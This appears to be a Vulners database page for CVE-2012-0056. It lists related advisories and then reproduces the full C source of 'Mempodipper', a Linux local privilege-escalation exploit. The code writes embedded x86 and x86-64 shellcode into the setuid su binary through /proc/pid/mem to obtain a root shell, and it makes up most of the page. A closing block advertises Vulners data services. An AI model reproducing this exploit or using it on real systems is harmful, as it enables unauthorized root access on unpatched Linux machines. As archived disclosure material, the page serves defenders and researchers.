| Reporter | Title | Published | Views | Family All 138 |
|---|---|---|---|---|
| Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit | 23 Jan 201200:00 | – | zdt | |
| Linux Kernel 2.6.18-374 Local root Exploit | 29 Jun 201200:00 | – | zdt | |
| mempodroid - mempodripper - mem exploit | 24 Jan 201200:00 | – | android | |
| CentOS 6 : kernel (CESA-2012:0052) | 25 Jan 201200:00 | – | nessus | |
| Fedora 15 : kernel-2.6.41.10-3.fc15 (2012-0861) | 25 Jan 201200:00 | – | nessus | |
| Fedora 16 : kernel-3.2.1-3.fc16 (2012-0876) | 25 Jan 201200:00 | – | nessus | |
| MiracleLinux 4 : kernel-2.6.32-220.4.1.el6 (AXSA:2012-228:02) | 14 Jan 202600:00 | – | nessus | |
| openSUSE Security Update : kernel (openSUSE-2012-65) | 13 Jun 201400:00 | – | nessus | |
| Oracle Linux 6 : kernel (ELSA-2012-0052) | 12 Jul 201300:00 | – | nessus | |
| Oracle Linux 5 / 6 : Unbreakable Enterprise kernel (ELSA-2012-2001) | 12 Jul 201300:00 | – | nessus |
/*
* Mempodipper
* by zx2c4
*
* Linux Local Root Exploit
*
* Rather than put my write up here, per usual, this time I've put it
* in a rather lengthy blog post: http://blog.zx2c4.com/749
*
* Enjoy.
*
* - zx2c4
* Jan 21, 2012
*
* CVE-2012-0056
*/
#define _LARGEFILE64_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>
char *socket_path = "/tmp/.sockpuppet";
int send_fd(int fd)
{
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
struct sockaddr_un addr;
int n;
int sock;
char cms[CMSG_SPACE(sizeof(int))];
if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
return -1;
buf[0] = 0;
iov.iov_base = buf;
iov.iov_len = 1;
memset(&msg, 0, sizeof msg);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = (caddr_t)cms;
msg.msg_controllen = CMSG_LEN(sizeof(int));
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
return -1;
close(sock);
return 0;
}
int recv_fd()
{
int listener;
int sock;
int n;
int fd;
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
struct sockaddr_un addr;
char cms[CMSG_SPACE(sizeof(int))];
if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
unlink(socket_path);
if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
return -1;
if (listen(listener, 1) < 0)
return -1;
if ((sock = accept(listener, NULL, NULL)) < 0)
return -1;
iov.iov_base = buf;
iov.iov_len = 1;
memset(&msg, 0, sizeof msg);
msg.msg_name = 0;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = (caddr_t)cms;
msg.msg_controllen = sizeof cms;
if ((n = recvmsg(sock, &msg, 0)) < 0)
return -1;
if (n == 0)
return -1;
cmsg = CMSG_FIRSTHDR(&msg);
memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
close(sock);
close(listener);
return fd;
}
int main(int argc, char **argv)
{
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
char parent_mem[256];
sprintf(parent_mem, "/proc/%s/mem", argv[2]);
printf("[+] Opening parent mem %s in child.\n", parent_mem);
int fd = open(parent_mem, O_RDWR);
if (fd < 0) {
perror("[-] open");
return 1;
}
printf("[+] Sending fd %d to parent.\n", fd);
send_fd(fd);
return 0;
}
printf("===============================\n");
printf("= Mempodipper =\n");
printf("= by zx2c4 =\n");
printf("= Jan 21, 2012 =\n");
printf("===============================\n\n");
int parent_pid = getpid();
if (fork()) {
printf("[+] Waiting for transferred fd in parent.\n");
int fd = recv_fd();
printf("[+] Received fd at %d.\n", fd);
if (fd < 0) {
perror("[-] recv_fd");
return -1;
}
printf("[+] Assigning fd %d to stderr.\n", fd);
dup2(2, 6);
dup2(fd, 2);
unsigned long address;
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
address = strtoul(argv[2], NULL, 16);
else {
printf("[+] Reading su for exit@plt.\n");
// Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
char result[32];
result[0] = 0;
fgets(result, 32, command);
pclose(command);
address = strtoul(result, NULL, 16);
if (address == ULONG_MAX || !address) {
printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
return 1;
}
printf("[+] Resolved exit@plt to 0x%lx.\n", address);
}
printf("[+] Calculating su padding.\n");
FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
char result[256];
result[0] = 0;
fgets(result, 256, command);
pclose(command);
unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
unsigned long offset = address - su_padding;
printf("[+] Seeking to offset 0x%lx.\n", offset);
lseek64(fd, offset, SEEK_SET);
#if defined(__i386__)
// See shellcode-32.s in this package for the source.
char shellcode[] =
"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
"\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";
#elif defined(__x86_64__)
// See shellcode-64.s in this package for the source.
char shellcode[] =
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
"\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
"\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
"\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
"\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
printf("[+] Executing su with shellcode.\n");
execl("/bin/su", "su", shellcode, NULL);
} else {
char pid[32];
sprintf(pid, "%d", parent_pid);
printf("[+] Executing child from child fork.\n");
execl("/proc/self/exe", argv[0], "-c", pid, NULL);
}
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation